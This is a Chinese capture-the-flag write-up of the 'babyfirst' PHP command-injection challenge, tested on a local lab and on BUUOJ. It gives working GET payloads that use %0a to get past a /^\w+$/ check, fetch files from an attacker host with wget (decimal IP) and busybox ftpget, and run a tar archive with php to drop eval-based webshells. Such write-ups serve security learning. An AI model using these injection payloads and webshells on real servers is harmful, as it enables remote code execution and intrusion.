考点

  • %0a绕过正则表达式/^\w+$/
  • php执行非压缩打包文件
  • busybox ftpget下载远程文件

题解

在本地搭建了一个环境,源码中的/bin/orange其实就是/bin/true的一个软链接:

1

打开题目拿到index.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);

$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);

$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
?>

代码首先根据用户的ip地址生成一个沙盒,并通过GET请求接受一个参数args,该参数是一个数组,会对该数组中的每个参数进行正则表达式检查,\w表示匹配任意一个字母或数字或下划线,也就是 [A-Za-z0-9_]中任意一个。

绕过正则表达式之后会执行传入args的命令。

如果要执行多个命令,那么则需要换行符,而%0a恰好可以绕过正则$的检查。

可以构造一个新建文件的payload:

1
http://192.168.247.196/babyfirst/index.php?args[]=xxx%0a&args[]=touch&args[]=bantian

此时对应执行的命令是:

1
2
/bin/orange xxx
touch bantian

进入192.168.247.196的web目录下,看到命令被执行了:

2

wget下载webshell

接下来想要写入一个webshell,方便我们在目标主机上执行各种命令,但是直接通过args参数写入显然不现实,webshell中肯定包含一些特殊符号,比如[,<??>;]等。一种解决方法就是让目标主机执行wget命令下载我们本地的webshell。

我在另一台虚拟机上搭建了web服务器,新建index.php,index.php的内容就是简单的<?php phpinfo();?>

然后修改/etc/apache2/apache.conf文件,在最后加上DirectoryInjdex,将默认的首页改为index.php:

1
2
3
<Directory /var/www/html>
DirectoryIndex index.php
</Directory>

这样访问 http://192.168.247.130/ 的效果就和 http://192.168.247.130/index.php 相同,因为根据正则表达式,参数中不能包含./等特殊字符。而ip中的.可以通过将ip地址转为整数来解决。

点分十进制转整数地址

一个ip地址其实可以有几十种甚至上百种不同的形式,具体的内容可以参考这篇文章:

https://findneo.github.io/171125TextualRepresentationOfIPAddress/

对于一个ipv4地址,最常用的表示方法就是点分十进制表示法,比如一个ip,166.111.8.201

ipv4地址实际上是一个32位的二进制数,每8位用一个点号隔开,如166.111.8.201对应的二进制是10100110 1101111 1001101 11001001。那么转换为整数其实很简单,就是将点分十进制的ip地址转为十进制数字之后乘以对应的权重,分别为2^24, 2^16, 2^8, 2^0,然后相加即可。如166.111.8.201对应的整数地址为:

1

那么将本地webshell的地址192.168.247.130转化为数字地址就是3232298882,执行下载命令:

1
http://192.168.247.196/babyfirst/index.php?args[]=xxx%0a&args[]=wget&args[]=3232298882

3

但是wget下载之后发现下载的确是php解析之后的页面index.html

php执行未压缩打包文件

这里有一个很有意思的知识点,php能够执行非压缩的打包php文件:

5

接下来,现在自己的本地机器上新建文件index.html:

1
2
3
4
5
<?php
file_put_contents('shell.php', '<?php
header("Content-Type: text/plain");
print eval($_POST["cmd"]);
?>');

先生成文件夹exploit:

1
http://192.168.247.196/babyfirst/index.php?args[]=xxx%0a&args[]=mkdir&args[]=exploit

再将index.html下载到新建的exploit文件夹下方便后一步进行打包:

1
http://192.168.247.196/babyfirst/index.php?args[]=xxx%0a&args[]=cd&args[]=exploit&args[]=wget&args[]=3232298882

接着将exploit文件夹打包为archived:

1
http://192.168.247.196/babyfirst/index.php?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit

接着命令行执行该压缩包:

1
http://192.168.247.196/babyfirst/index.php?args[]=xxx%0a&args[]=php&args[]=archived

6

成功写入shell.php。

生成的shell路径为http://192.168.247.196/babyfirst/sandbox/192.168.247.1/shell.php

7

BUUOJ复现

这道题其实我自己在本地复现的时候一直有不同的小问题,比如需要额外给文件夹一些权限。另外一个就是无法通过wget+数字ip的方式下载文件,查看apache日志文件发现该请求会返回400 bad request:

11

刚好在BUUOJ上有这道题的环境,所以在buuoj上重新做了一遍。

在buuoj中给出了一个内网地址:
8

我在我远程的服务器上先写入index.html,注意修改vps的conf文件:

9

接着执行payload:

1
2
3
4
5
6
7
?args[]=xxx%0a&args[]=mkdir&args[]=exploit

?args[]=xxx%0a&args[]=cd&args[]=exploit&args[]=wget&args[]=vpsip(decimal)

?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit

?args[]=xxx%0a&args[]=php&args[]=archived

但是执行之后访问 http://4e1f877a-dea1-45b0-9f81-4e2a6eb4f86a.node3.buuoj.cn/sandbox/174.0.0.15/shell.php 返回403not found,这说明该文件根本不存在,所以我觉得很奇怪,尝试访问执行:

1
wget http://4e1f877a-dea1-45b0-9f81-4e2a6eb4f86a.node3.buuoj.cn/sandbox/174.0.0.15/archived

发现archived文件是存在的,但是本地执行php archived之后却发现只有一个exploit文件夹:

10

所以可以确定的是问题还是出wget这里,这里是比较迷惑的,可能和wget的版本有关,也可能需要带上什么参数。

但是我看到orange师傅说还可以使用busybox getftp来直接下载webshell,而且该webshell不会被解析,可以被直接执行。而且busybox命令很常见,我自己测试下来,基本上服务器上都会存在这个命令,我们可以通过下面的命令来下载远程ftp服务器上的文件:

1
busybox ftpget -u ftp的用户名 -p ftp的密码 ftp地址 需要下载的文件名

但是我们的php webshell的文件名又是.php文件,问题在于带有符号.,会被正则表达式拦截下来,所以直接构造下面这样的payload肯定行不通:

1
?args[]=xxx%0a&args[]=busybox&args[]=ftpget&args[]=vpsip(decimal)&args[]=shell.php

但是php命令行就不同了,它可以解析任意的文件,只要你文本中的内容符合php的格式:

12

所以这个时候我们只要在我们的远程vps上放两个文件,一个aaa不带有后缀,另一个为shell.php:

1
2
3
4
5
6
// aaa
<?php system("busybox ftpget ftp://vps:port shell.php");

// shell.php
<?php
eval($_POST["cmd"]);

我先在本地进行测试:

1
2
3
http://192.168.247.196/babyfirst/index.php?args[]=xxx%0a&args[]=busybox&args[]=ftpget&args[]=vpsip(decimal)&args[]=aaa

http://192.168.247.196/babyfirst/index.php?args[]=xxx%0a&args[]=php&args[]=aaa

执行之后,目标主机上就从远程vps上下载了shell.php:

13

访问http://192.168.247.196/babyfirst/sandbox/192.168.247.1/shell.php :

14

但是这种方法在buuoj的环境上也没成功,根本没有aaa被下载下来,而且执行busybox下载命令时返回的时间也很快,只能猜测环境中根本没有安装busybox,所以这种方法也失败了。